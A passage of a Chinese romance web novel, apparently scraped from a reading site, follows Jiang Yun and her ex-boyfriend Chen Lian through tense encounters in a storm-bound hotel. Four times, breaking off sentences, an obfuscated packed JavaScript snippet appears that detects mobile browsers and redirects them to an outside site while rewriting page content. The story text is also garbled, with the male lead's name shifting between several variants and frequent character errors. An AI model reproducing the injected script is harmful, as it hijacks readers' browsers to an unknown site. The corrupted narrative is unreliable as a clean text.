进了电梯,阿黄打趣她:“平时也没发现你好胜心那么强,怎么今天跑那么快?竞然摔成这样。”想起下午那尴尬的画面,姜筠小声嘀咕:“只能说害人之心不可有。” “什么?” 姜筠摇头,打住话题。 “……没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323246|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,你还是别问了。” 到了餐厅,她随便选了个位置坐下,没一会,陈班和俞诗荞也下了楼。 陈班换了身衣服,像是洗漱过了,头发微湿。姜筠刻意不看他,只是察觉到那脚步声离她越来越近,紧接着那人拉开她对面的椅子,落座。两人就这么面对面坐着。 刚对上视线,姜筠立刻别开了脸,陈班也是脸色阴沉。下午才歇斯底里吵完架的两个人,此时此刻还要面对面坐在一起吃饭。 无异于酷刑。 姜筠低着头,差点把头埋进餐盘里。 她想起下午,在陈班胡言乱语前,她立刻把电话挂了。“陈班,你发什么疯?” 她那会是真的生气了,她讨厌这样的恶作剧,更别谈她和温礼昂现在还是互删微信的关系,他的出现只会让事情变得越来越复杂。 陈班慢条斯理地回答,丝毫没有愧疚之心。“只是和你哥开个玩笑。” 毕竟曾经温礼昂也和他开过这样的玩笑,他不觉得这有什么问题。 姜筠无奈,声线压低。 “你不要提起我哥。” 陈琏又是一声冷笑。 从前姜筠也爱这么和他说,好像温礼昂是什么禁忌似的。 “怎么,他有什么了不起的。"陈琏忍不住打击她,说起风凉话,“你这一辈子都不可能和他在一起,姜筠,你他妈清醒一点!” “那也不要你管。” 姜筠只恨她现在是病患,要不是腿受伤了,她早就走了,懒得在这跟他多费口舌。 可陈班还在看着她,那张完美的脸仍然没有任何瑕疵,只是多了些戏谑和不屑,上挑的桃花眼如覆冰霜。他像是忽然想起什么,恍然。 “当初你送我的那双球鞋,我可算知道是什么意思了。” 姜筠皱眉。 如果她没记错的话,他指的是在一起第一百天的时候,她攒了一个月的兼职费送给他的球鞋,Air Jordan 1 retro,她之前所以记得那么清楚,是因为她为此还做了一阵功课。 她从前对球鞋一点都不了解,但知道他家境优渥,不敢买太便宜的,担心他不会穿,所以才提前攒钱买了一双价格合适的送给他。 她倒想听听他是怎么说的。 “所以是什么意思?“她问。 “不就是为了送我走么?” 姜筠气得一句话都说不出来。 行,他非要这么理解,她也没有办法。 她懒得和他解释,就让他这么认为吧,反倒还省事了。没想到姜筠没否认,陈班抿紧嘴角:“所以是真的?”“对,你才知道么?"姜筠说起了气话。 只是,她突然想到了某种可能,心里一阵慌乱,她抬头看向陈班,试探性地开口。 “陈班,你、你不会是还…喜欢我吧。” 后四个字她说得不是很确定。 话音刚落,陈班就笑了,那讽刺的笑容让她觉得自己问 了一个很蠢的问题。 “怎么可能?"陈班再次强调,说得言之凿凿,“你放心,我绝对不会喜欢一个谄媚、圆滑、市侩、投机取巧的女人。” 谄媚、圆滑、市侩、投机取巧? 这是她? 姜筠愣了愣,她有这么不堪吗? 第一次被别人这样评价,她气得胸腔上下起伏,也放下狠话。 “行,我不管你喜不喜欢我,最好是别喜欢我,因为我一点都不喜欢你,以前不喜欢,现在更不喜欢!”傍晚时分,天色变暗,陈进站在她面前,原以为他会挖苦嘲讽她几句,但他脸上竞然流露出了类似忧伤的神色。过了许久,姜筠听见他闷声说了句:“好。” 第二十四章 第24章第二十四章 餐桌上的气氛和此时外面的天气一样沉闷,阿黄努力在活跃气氛,只是收效甚微。 按往常姜筠多多少少都会搭几句话,但现在这会她心情不好,一整晚几乎没怎么说话,一直在埋头干饭。今天的晚饭是阿黄冒着大雨从外面打包回来的,酒店的菜式不合俞小姐胃口,所以阿黄特意开车去附近一家星级餐厅打包了晚餐,味道不算很惊艳,但确实比酒店里的食物要好吃。 只是吃着吃着她发现了一件事,只要是她夹过的菜,陈班都不吃。 观察了五分钟,更加验证了她当下的推断。姜筠从小就挑食,好几道菜都不爱吃,而陈班就只吃剩下那些没被她夹过的菜。 姜筠眼珠子转了转。 她本就是叛逆的性格,这下来劲了,把每道菜都夹了一筷子,碗里很快堆成了小山。 连阿黄都觉得奇怪,看向她。 “你今天胃口这么好?” “嗯,是啊。” 姜筠甜甜地应了声,一边观察陈班的表情。她心想,我看你吃不吃。 没想到陈班竞还真的停下了筷子,懒懒抬眼,望向她,眼睛一眨不眨的。 就这么僵持了几秒。 姜筠被他看得心虚,避开他投过来的视线,又把脑袋埋到了碗里。 大概是陈班一直没动筷,这下连阿黄都发现了异常,关切地问:“陈先生,是不是饭菜不合胃口?”“嗯,刚才还有点食欲的,"陈班把筷子放在餐桌上,望向姜筠,意有所指,“现在没了。” 暗流涌动,气氛顿时有些紧绷。 阿黄猜测可能是姜筠餐桌礼仪不够得体,让这位陈先生生气了,虽然他也不知道怎么样算得体,但好像就是从姜筠碗里堆满菜开始,气氛不对了。 他接触过的有钱人不多,像陈先生这么有钱的更是少之又少,但也知道有钱人颇多讲究,尤其是在吃方面,他这些天都特别注意,免得不小心触到雷区。满足客户需求永远都是第一位的,阿黄立刻起身,嘴里食物还没咀嚼完就开口,声音听起来含含糊糊的。“陈先生您想吃什么,我现在去给您买。”阿黄看了眼时间,现在这个点应该还有几家餐厅还在对外营业,他在大脑里快速回忆离这里最近的星级餐厅,并规划路线。 没想到自己的恶作剧反而拖累了阿黄,姜筠这下内疚了,她原本只是想和陈班开个玩笑,气一下他,没想给阿黄增加工作量。 眼看着阿黄已经拉开椅子,姜筠连忙按住他的手。“我去买吧,我也有驾照的,你把餐厅地址发给我。”坐在对面的陈珑抬眼,目光落在她拉住阿黄的手上,本就阴沉的脸现在更是阴霾密布。 姜筠正要起身,又听见他冷声说:“不用了。”“真的不用?"“姜筠再次确认。 “嗯。” 阿黄也不知道发生了什么,只感觉直到姜筠的手从他身上拿开,陈先生的脸色才稍微好了些。 餐桌上的四人,只有俞诗荞丝毫没察觉到任何不对劲,她对陈班向来漠不关心,她此刻还沉浸在下午集章活动拿了第一名的喜悦之中。 下午的比赛,她是第一名,比陈班快了将近五分钟,她在终点等他们过来时,从城楼往下看,看到陈班从一家药店走出来,手里还拿着东西,现在想起来像是药膏之类的。 但她没多想。 “对了,俞小姐,下午的比赛您赢了,您有什么要求尽管提。"阿黄忽然想起这事,连忙提醒。下午发生太多事,加上天气恶劣,姜筠还没来得及询问比赛结果,经阿黄这么一说,这才知道原来是俞诗荞赢了。 她放心了。 说实话,她还真的担心万一是陈琏赢了,指不定要怎么捉弄她。 她看着俞诗荞,点头附和了句:“对,能做到我们都配合。” 她也好奇俞诗荞会提出什么要求,只要不是扣工资她都能接受。 俞诗荞心情好得不行,笑容灿烂,似乎外面的天气并没有影响她此刻的心情。 其实惩罚她一早就想好了。 她在餐桌上摊开手掌:“给我看一下你们前任的照片。” 这问题一出来,姜筠心心里咯噔了一声。 筷子差点没拿稳,她眼睛开始到处乱瞟,比起她的慌张,陈班反倒是面无表情,眼神沉静。 “谁先来?"俞诗荞问。 姜筠推了下阿黄:“你先吧。” 阿黄就这么被推了出去,他有点蒙圈,但也没拒绝。“行。” “等等,我找一下。” 说着,他点开某个头像的朋友圈开始认真翻找。俞诗荞好奇,凑过去看:“你还有前任的微信?”“嗯,当初分手没舍得删,"阿黄不好意思地摸了摸后脑勺,“平时我发朋友圈也都把她屏蔽了。”姜筠好奇:“为什么?” 她和阿黄搭档那么多年,还是第一次听他说起自己的感情经验。 “免得提醒她要把我删掉。我和她分开五年了,她可能以为自己早就把我删了,"说起往事,阿黄笑得有些惆怅,“她现在好像有男朋友了,挺幸福的。”“看不出你这么痴情。”俞诗荞意外。 没一会,阿黄把手机递到中间。 “找到了。” 姜筠探头看了眼,照片里是一个成熟漂亮的女性和她男朋友的照片,两人在海边依偎在一起,笑得很甜蜜,男生年纪看上去比她要小一些。 “行,下一个,"俞诗荞像是在催进度似的,毕竞她的目的也不在此,她望向姜筠,朝她摊开手,“姜筠,你的呢?” “啊?"没想到这么快就轮到自己,姜筠眼睛瞪得浑圆,“这就到我了吗?” 主要是阿黄说得太干脆利落,她这下显得扭扭捏捏,一点都不大方。 “我……” 姜筠面色为难,假装翻了下相册。 “不是我不想给你看,但真的分手后全部都删光了,分手那天,我就把他微信删了,现在我和他一一"姜筠看了眼坐在对面的人,把后半句补充完整,“是老死不相往来的关系。” 她说得没有错,下午两人才撕破脸皮,现在可不就是老死不相往来的关系么? 只是说到一半,她就感觉到有一道炽热的目光落在自己身上,她甚至不敢抬头与他对视。 方巾擦拭嘴角,片刻后,坐在对面的陈班慢悠悠开口。“姜小姐真的一张照片都没有留吗?” 姜筠心里一惊。 抬头,对上他晦暗不明的眼神。 空气凝固了几秒,餐厅里人来人往,可姜筠此刻心里很静,静得能听见心里的回响。 “没有。” 她沉声说道,话语坚定。 俞诗荞还没死心:“共同好友那里也没有他的照片吗?” “我和他没什么共同好友。” “姜筠,你是不是不喜欢他?"俞诗荞观察她的表情,忽然乐了起来,“我看你聊起这个人,表情很一言难尽。”这个问题让她愣了愣,眼角余光看到陈班由于过度用力而泛白的指节,她迟疑了一会才点头,闷声说道:"嗯,不喜欢。” 她宽慰自己,她只是把下午说的话重复了一遍而已,没什么。 而俞诗荞还在为自己敏锐的洞察力感到高兴。“我一看就是!你说起他,脸上一点怀念的表情都没有。” 姜筠的八卦打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323247|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探到这里便打住了,重头戏终于要来了,俞诗荞语气都变得兴奋。 “阿班,到你了。” 可以说,这个游戏规则就是为了问陈班这个问题而设的,她就是为了这碟醋包的这盘饺子。 好不容易有一个光明正大的理由可以打探他的前女友,她下午自从赢了后就一直在想这件事,对其他事都兴致缺缺。 这些年,她一直想知道那女孩到底长什么样,她好奇是什么样的人能把陈班钓得迷失心智,她找朋友打听过,只知道长得漂亮,但一张照片都没有看到。“快点!照片拿来!"她催促。 陈班冷脸:“没有。” “怎么会没有,恋爱的时候肯定有拍照片吧。”他表情很冷:“删了。” 陈班回答了跟姜筠一样的答案。 俞诗荞较真起来:“我不信,你把手机给我。”陈班的手机就放在桌面,俞诗荞一把抢了过去。开机需要密码,她对着陈班的脸一通人脸识别,没想到还真的解锁了。 “那我就不客气了哦。” 真相就握在自己手里,俞诗荞心跳得很快,情绪也跟着激动起来,为了防止陈班抢手机,她从座位站起来,点开相册。 明明拿的是陈班的手机,可手心冒汗的人却是姜筠。她咬牙切齿地看着坐在对面的陈琏,在心里默念,你最好是删得彻底一点。 俞诗荞的手指还在往屏幕下面划,嘴角的笑意越来越深,姜筠的心脏都快要从嗓子眼跳出来,碗里堆成小山的饭菜她一口没有动。 她在桌底踢了一下陈班的脚,示意他快点做些什么,可陈班只瞥了她一眼,什么话都没说。 忽然,俞诗荞发现了什么。 “还真的有一个私密相册,329张照片。”大概是发现姜筠眼神迫切又焦急,俞诗荞还和她开起玩笑:“姜筠,等我看完,传给你看。” 姜筠手心发凉,她屏住呼吸等着“宣判"的那一刻。俞诗养做好心理准备,点开私密相册。 “………什么啊,竟然还要密码,"俞诗荞撇嘴,一下泄了气,“太没劲了。” 不过从陈班的表情倒是可以确认这相册里存的肯定全都是那个女孩的照片。 离真相就只有一步之遥,俞诗荞气得牙痒痒的,但她知道陈班肯定不会告诉她相册密码的。 既然拿不到照片,那她可以多八卦一下。 “你和她在一起,是谁先主动的?” “她。” “她哪里吸引你?” “不知道。"陈斑回答得很快。 俞诗荞的问题一个接一个。 “那当初真的是她把你甩了?” 这气氛太窒息,阿黄都有点不敢听。 这些话题是他能听的吗?他听着都有点汗流浃背了。许久,他听见陈班嗯了一声。 “你们在一起多久?” “半年。” “最后一个问题,"俞诗荞认真地想了想,最后一个问题得问个有价值的,“你当时…很喜欢她?”窗外一声惊雷,雨势比下午更猛烈,室内的温 度似乎变低了许多。 姜筠本来还想装作若无其事,可此刻好奇心被勾起,她也忍不住往陈班的方向看。 他眼睑低垂,似在思索。 “喜欢。” 片刻后,他眼神暗了暗,又补充了句,“很喜欢。”下午比赛开始前,阿黄曾经问过他一个问题。“陈先生,如果是你赢了,你想做什么?”陈班当时没有回答他,但心里已经有了答案。他本来想问她,她当年有没有后悔过和他分手?但很显然,她没有。 她从来没有后悔过。 第二十五章 第25章第二十五章 晚餐结束后,陈班回到酒店的套房,洗了个冷水澡。头发还没擦干,往下滴着水珠,他裹着白色的浴巾走到落地窗前往下俯瞰,就这么静静地看了好一会。大雨冲刷城市,从高楼落地窗往外看,整个城市像是浸在雨里,路上行人寥寥,只有依稀几家商铺还亮着灯。急促的雨声在他听来像是舒缓神经的白噪音,他享受着这片刻的宁静,不去思考那些悬而未决、扰乱心神的事情。但雷雨交加的晚上,很容易走神,让人想起一些不该想起的记忆。 她想起她刚才所说的话一一 她说她不喜欢他。 她说她一张照片都没有留。 她说他们之间是老死不相往来的关系。 他有时觉得她像谎话连篇的骗子,姜筠和他撒过多少谎,他都快数不清了。 那这些话会不会也是谎话? 他竟开始这样宽慰自己。 即便他不想承认,但姜筠是他这么多年唯一喜欢过的人。 还记得刚在一起时,姜筠曾经在他电脑登录过某个游戏直播账号做新人任务。 账号是他无意中发现的,他只匆匆看了一眼,便记住了账号的名字。 那账号只有一百多个粉丝,人气很低,每天直播两三个小时,直播时间基本都是在深夜。 他理所当然认为这是她的账号。 那时候,,每天和她分开后,看到那个账号直播,他都会点进去看。 那人用的是变声器,他听不出真实的声音,只觉得那人有些口癖和她很像,他深信不疑这是姜筠本人。不知为何,他们明明每天见面时间不短,但分开后,他还是很想念她,即便隔着变声器,他仍感觉到她在他身边。 那段时间,他常常熬夜陪她到凌晨两点直播结束。周末聚会,朋友问他在看什么,他有些难以启齿,把手机反面盖上。 不到一个月的时间,他给那个账号送了快二十万礼物,在深夜时间段游戏直播区升至前十名。他没有告诉过姜筠,以免她又开始说她那套烦人的理论。 直到某天,姜筠一脸兴奋地给他发了张微信截图,是她和她朋友的对话。 姜筠发来一段语音: 【陈班陈琏,和你说,我朋友要火了,就是你上次见过的陶影,最近有个大哥唯唯给她砸钱,一个月就打赏了二十万。 照这速度,三个月她就可以回老家付房子首付了,而且这哥人狠话不多,一句话没在直播间说过,也不要求见面,纯纯大善人。 陈班,你说我什么时候才能遇到这么心软的财神爷「哭]要不我也去搞个账号直播算了。】 陈班被气笑了。 他这才知道原来这个账号背后的人不是她。放在沙发上的手机开始不停地震动,打断他的思绪。看了眼屏幕,是叶招打过来的视频电话。 看到他那张脸,本就不耐烦的神情变得更不耐烦,陈斑眉头皱得很深。 电话一接通,叶沼就和他寒暄起来。 “这么晚了,还没睡呢,不会是在等我电话吧,"叶招和往常一样嬉皮笑脸的,没个正形,“哎哟,你这住的什么破地方,装修也太老旧了,还是说这是选的复古风主题。”陈班仍是面无表情:“别废话。” “行,不跟你扯了,"叶招习惯了他的冷言冷语,没觉得有什么不对,说起正事,“我订了今天下午到瑶芋机场的航班。” 陈班表情立刻变得严肃:“你现在在哪?”“我还在北城,下午那航班取消了,不知道什么时候才能复飞,你说这叫什么事儿,"叶招失望叹气,懊恼得不行,“我应该昨天一早就来的,公司有事耽搁了,不然现在应该已经和你们汇合了。” 陈班关掉屏幕的摄像头,手机反面盖上,不想看那张烦人的脸。 “你来做什么?” “诗荞不是说姜筠今天腿摔伤了吗,我这时候不献殷勤,什么时候献殷勤?"叶招说得理所当然,“姜筠虽然表面上看起来冷冷的,但我看得出来是个心软的姑娘,我要是在她最需要的时候出现在她面前,照顾她,你说有几个女孩子能抵抗得了?” “心软?” 陈班听到这冷笑了声。 在这个世界上,应该没有人比她的心更硬了。“阿班,要不你帮我买点药膏拿给他,就说是我让你买的,顺便多说几句我的好话,等航班恢复了,我马上过去,"叶招恨不得自己亲自干这事,但现在情况不允许,他也找不到办法,“你这回帮我,下次有什么需要我帮忙的,我绝对二话不说。” 陈班讽刺地勾了勾唇,反问:“你能帮我什么?”叶招细想一番后,确实说不出个所以然来。他想不到陈班还缺什么。 “那就当我欠你一件事。”他开了个空头支票。“行。” 没想到陈班答应得这么爽快,叶招都愣了愣,直觉告诉他不会是什么容易办到的事。 果然,陈班紧接着说:“在旅行结束前,都不要出现在我面前。” 这不就是不让他过来找姜筠的意思吗? 陈班耐心用尽,正要挂断电话,突然听见叶招说:“对了,我今天在贵宾休息室看到姜筠她哥了。”喉结上下滑动,陈班 目光凝在落地窗上的雨痕。看来那个人也急了。 叶弦:“我没猜错的话,他应该也是来找姜筠的,知道航班取消后,他去值机柜台询问了很……五分钟后,电话已经挂断,陈班坐在沙发上,视线瞥见桌面上那个药房的塑料袋,里面躺着好几管铁皮药膏。下楼时,他把它挂在了姜筠房间的门把上,又敲了两下门,才转身离开。 姜筠躺在床上玩手机,忽然听到门口传来敲门声,她侧过身朝门口喊了句。 “谁?” 无人应答。 又喊了几声还是没人应,实在奇怪,她一瘸一拐走到门口,打开门,门后什么人都没有。 不过门把往回拉时,倒是听到了有东西碰撞木门发出的声响。 她这才发现门把上不知什么时候挂着一袋药膏,什么牌子都有,像是把药店里治跌打扭伤的药全都买回来了。她猜想,应该是阿黄刚从外面买回来的。 她把药膏放在茶几上一字排开,拍了个照片,发给阿黄。 【多少钱,我转你。】 阿黄家境不算富裕,这些药膏加起来应该也要一两百了,这么大的雨,他还出门帮她买,她已经很感激了,不好意思再让他白出钱。 很快,阿黄回了过来。 【?】 【什么意思?】 姜筠懵了:【这不是你买的吗?】 阿黄:【不是啊。) 姜筠的手指停留在键盘好一会,不知不觉打了很多空格键,反应过来才给阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323248|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄回了过去:【那没事了。)阿黄:【所以是谁买的,俞小姐?】 姜筠:【不知道,热心人吧。】 其实,在阿黄否认的那一刻,当下她大脑里就想到了一个人,只是她不愿意往那个方向去想。 她想起陈班下午说的话,想起他说话时脸上的表情,虽然过去了几个小时,可在大脑里仍旧清晰。她是意外的。 她以为她很了解陈班,但没想到在她说出“她不喜欢他"之后,他竞还会承认他曾经喜欢过她。天边雷声并未停止,姜筠盯着放在茶几上的这些花花绿绿的药膏,陷入了沉思。 还在胡思乱想,突然手机弹出消息。 她没在意,过了好一会,她才拿起来看了眼。只是目光触及屏幕的那一刻,她屏住了呼吸,眼睛定定地看了几秒,直到失去焦距。 屏幕显示,温礼昂申请添加她为好友,验证消息上写着: 【阿筠,是我。】 只有这四个字,但喉咙忽然变得干涩。 删掉温礼昂的那天,她曾经发誓,这一次她不会再像以前一样主动把他加回来了。 她告诫自己,以前那么不争气,这一次,一定要争气点。 所以在过去的五十多天,她无数次点开他的微信,可仍是没有按下“添加对方到通讯录”的按钮。但现在,是他主动加她的。 意义不一样。 她故意过了两个小时才通过了他的好友申请。她想让他也感受那漫长的等待对方通过的过程,那样的忐忑、纠结、不自信,频繁盯着手机屏幕反复确认。将近凌晨一点,她想大概温礼昂已经睡了,此刻大脑乱成一团,她至少还有一整晚的时间可以整理好自己的情绪。 她看了一眼空白的聊天页面,正要放下手机,但下一秒,温礼昂把视频电话打了过来。 手机在剧烈震动,如同心跳的频率,伤口还在隐隐作痛,她分不清是心里的伤口还是腿上的。 犹豫了几秒,姜筠还是按下了接通键。 屏幕那头,公寓客厅的电视播放着她所在城市的直播画面,暴雨倾盆,雷电交加,街道空无一人,树木被风吹得倒向一边。 他正在看她这边的天气。 他明明那么关心她,可下午那通电话他却否认了。即便生活在一起那么多年,可她仍然不了解这个人,为什么把她推开,又为什么对她那么好。 温礼昂脸上流露出担忧和焦急的情绪,直到看到她,紧皱的眉头才松开。 “还没休息?“他问。 “嗯,你怎么突然加我?"忽然想到了什么,姜筠语气变得生硬,“是不是爸妈看到这边的新闻,让你把我加回来,给我打电话的?” 温礼昂沉默了一会,摇头。 “不是。” 姜筠又问:“那你是想问下午我和陈班的事?”他仍是摇头。 屏幕对面的人仍是那么谦和有礼,斯文儒雅,望向她的眼神写满了温柔。 温礼昂嘴角弯了弯,开口:“只是想问你害不害怕?”姜筠怔住。 “如果害怕,可以像以前一样,等你睡着了我再把电话挂断。” 暴雨仍在继续,似要摧毁整座城市,但此时听筒里温柔磁性的男性嗓音环绕耳边,似有疗愈的功效。她想,或许在过去的那么多年,她就是这样一次又一次地坠入这片温柔陷阱。 第二十六章 第26章第二十六章 狂风呼啸,树影摇晃,电视里还在播放着晚间新闻,气象台预计接下来两日仍会持续暴雨天气。屏幕那头的温礼昂一直在看着她,没有说话。沉默对视这几秒,那种熟悉的感觉又涌了上来一一从很久很久以前,他就用这样的眼神看着她,让她误以为他也是喜欢她的。 太多的幻觉要将她包围,她看到了她买的小猪抱枕被他放在沙发中央,茶几上她还没来得及收拾的漫画书被收拾得整整齐齐,摆放在一边。 “那边的饭菜合不合胃口?” “还好。” “想吃什么,等你回来,我给你做。” 他的语气那么自然,好像他们之间没有发生过激烈的争吵,没有生出任何嫌隙,好像最后一次见面并没有不欢而散。 可她不行,她做不到忽略那些事,至少不像他可以在那么短的时间内当作什么都没发生过。 伤口就是伤口,就算愈合了,她也会记得那里曾经有过一道伤囗。 她承认她还喜欢他,可是想到覃仪,想到以前见过的他的那些前女友,她忽然感到疲惫。 她竟也会退却,不再像以前,只要他释放出一点信号,她就可以像没有受过伤一样横冲向前。还在思考,温礼昂又开了口。 “阿筠,上次的事我向你道歉。” “这些天,我想了很久,我想我应该尊重你的生活方式,你那天说你想自己搬出去住,我反应太过强烈,是我太自以为是,我只是担心你一个人照顾不好自己,我只是担心你一个人会过得很辛苦。” 姜筠不想再讨论这个问题,闷声说:“我睡了。”温礼昂知晓她的性格,没再勉强,轻声说:“好,等你睡着了,我再挂。” 从前在学校住宿,每到雷雨天,她都会给他打电话,床帘拉上,她戴着耳机躲在被窝里,不管外面多恶劣的天气,只要听到电话那头他的呼吸声,她就觉得有安全感。有时,她还能听到他舍友打呼的声音,此起彼伏。她在键盘给他打字:【你舍友又打呼了hhh这鼾声好像猪啊,你平时怎么睡得着的。】 Leo:【是不是吵到你了?我去把他叫醒。)下一秒电话那头真的传来他翻身下床的声音。姜筠笑得胸腔轻颤,在床上扭得像蛆,一边飞快地在键盘上打字,阻止他。 【别别别,待会他骂死你。】 最后温礼昂自然没有去把舍友喊醒,可后续听筒里也没听到有鼾声响起。 并且,从那次之后,她再也没听过电话里有异响。后来从温礼昂舍友口中她才知道,担心舍友鼾声吵醒她,他在宿舍走廊里站到大半夜,一边看书一边和她打电话,直到她睡着了,他才回寝室睡觉。再后来,他在校外做兼职赚了一点钱,租了一间很小的房子,她平时周末过去找他,她睡在房间,他就在客厅休息。 有时半夜,她从房间出来喝水,看到他那么大个人蜷在窄小的沙发,实在憋屈得紧,她又是心疼又是感动,静静地借着月光打量他的脸。 刚要伸手去摸他的脸,下一秒,他眼睛睁开。“睡不着?"即便刚被吵醒,温礼昂嘴角也是笑着的。“嗯。” 他关切地问:“是不是床垫睡着不舒服,我下次换一个。” 想起往事,姜筠眼睛发酸,喉咙有些干涩。“阿筠,你还在听吗?“大概是她太久没说话,温礼昂开了口。 “不用,我现在不害怕了。” 温礼昂轻声笑:“看来我们阿筠长大了。”又是一阵漫长的沉默,谁都没有说话。 “陈班,"挂电话前,温礼昂突然提起这个名字,“我知道你和他没有什么,阿黄都告诉我了。”虽是陈述句,但这话听着像试探,他似乎想从她口中确认些什么。 姜筠当做没有听到,下一秒,把电话挂了。发生了太多事,本以为今晚会失眠,没想到一沾枕头就睡着了。 她都有点佩服自己的生命力了。 接下来两天,仍是困在酒店里出不了门。 为了养好腿伤,这两日都是阿黄把饭菜送到她房间,免得她腿伤越来越重。 她和陈班没再见过,群里也没有他的消息,他从不在里面发言。 直到晚上,酒店的热水壶坏了,她打电话给前台,打了好几遍都没人接电话,她被逼无奈只能下楼。电梯在四楼停下,电梯门打开,里面只有一个人。她刚准备踏进去,可抬头看到那人,不自觉往后缩了半步。 陈班并未催促,也没把电梯门喊停,他就这么站在门侧,抱着手臂懒懒看着她。 那几秒,姜筠在内心自我挣扎。 是上去,还是等下一趟。 她也不知道她在躲什么,她也觉得自己莫名其妙,但有时候人就是这么莫名其妙的。 僵持了一会,电梯门快要关上,她咬咬牙还是走了进去。 砰地一声,门合上,密闭的空间内,她还能闻到他身上淡淡的沐浴露的香气,是酒店里准备的沐浴露,橙花味,有些甜腻的香气,但出现在他身上竞不奇怪,那么甜的香和他身上冷冽的气质冲撞在一起,竟莫名和谐。进了电梯,两人一句招呼没打,陈班也只是看了她一眼,便把注意力放在了右上角跳动的楼 层。对比起来,姜筠竟是局促的那个,她时不时往陈班身上瞥,最后发现他竞还真的没看她。 一出了电梯她莫名松了口气,拖着瘸腿快步走向前台。眼角余光看到她身后的陈班好像走出了酒店大门,身影消失在雨幕里。 这么大的雨,他要去哪儿? 而且好像没带伞。 前台问她:“女士,请问有什么可以帮到您?”她回过神,这才想起表达她的诉求。 前台一边登记,一边和她道歉。 “抱歉,稍后我会安排人送一个新的到您房间,实在不好意思。” “没事没事。” 解决完问题,姜筠转身去乘坐电梯。 还没走远,前台的工作人员忽然喊了她一声,提醒:“女士,您的裤子。” “什么?"她没听清。 “裤子。“对方字正腔圆又强调了一遍。 姜筠低头看了眼自己的裤子,没发现有什么问题。等回到房间,她看到镜子里的自己,才反应过来是怎么一回事。 侧身看,浅色的裤子后面有凝固的血迹,很大一片,很显眼,难怪前台面露难色,喊了她两遍。许是这边的气候和饮食习惯不一样,这次经期提前了整整一周。 姜筠有些抓狂,因为找遍了行李箱,连一片卫生巾都没有找到。 这个点,估计阿黄已经睡下了,因为一个小时前,他就发了消息过来说要去洗澡休息。 犹豫了一会,姜筠点开俞诗荞的微信,在键盘上打字。【俞小姐,你睡了吗,想问问你有没有带一一)消息还没打完,房门就被敲响。 和前两天一样,那人只敲了两下,便停了下来。姜筠联想到了什么,神色变得紧绷,迟疑了一会,她才走过去开门。 打开门,陈进站在门口,走廊灯昏黄笼罩在他身上,整个人无由来增添了些暖意,他长得高,站在那几乎快碰到了门梁,今天天气转凉,他穿着薄款的棕色长款风衣,像是刚从雨天里走回来,衣襟和肩膀处都被雨淋湿,刘海处挂着水珠。 像是雨天被淋湿的某种毛绒绒但攻击性很强的动物。他手上拿着一个半透明的塑料袋,她瞧见里面是……卫生巾。 屏幕上她编辑的短信还没发出,在她最需要的时候,他就这么出现了。 许是当下他出现的时机太过恰好,姜筠心里一动,有了些异样,她难以置信地仰头看着他,眼神里夹杂着些许的忐忑。 陈班一句话没说,只是把那个塑料袋递给她。她伸手接过,语气有些不自然。 “谢谢。” “嗯。“他应了声。 陈班正要离开,姜筠却喊住了他。 “陈班,你等等。” 他没有回过头,她不知道此刻他的表情是期待还是不耐烦,不过这些都不重要。 欲言又止了一阵,最后姜筠还是说了出口。“虽然你已经说过了,但我还是想再说一下,陈班,你千万别喜欢我。” 她是个很有心心理负担的人,她不确定这辈子除了温礼昂外,她还会不会喜欢别人,她已经伤害过他一次了,她不想再给他希望。 走廊的灯闪了闪,整个走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323249|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道在昏暗和光亮之间来回交替。 听见她的话,陈班脚步顿了顿,回头看她:“我想知道,是什么给姜小姐造成了这样的误解?”他的神情坦荡,语气如常,这下倒显得她在自作多情了。 “昨晚门口的药膏,不是你放的?“她眼睛瞪得浑圆。陈班攥紧右手:“叶招让我买的。” “哦。” 姜筠松了口气。 幸好她问了,不然就误会了。 “误会,都是误会,"姜筠尴尬之余又有些庆幸,“那我就放心了。” 不知为何,陈班看到她的表情,反而脸色阴沉了下来,甚至那眼神像是要把她掐死似的。 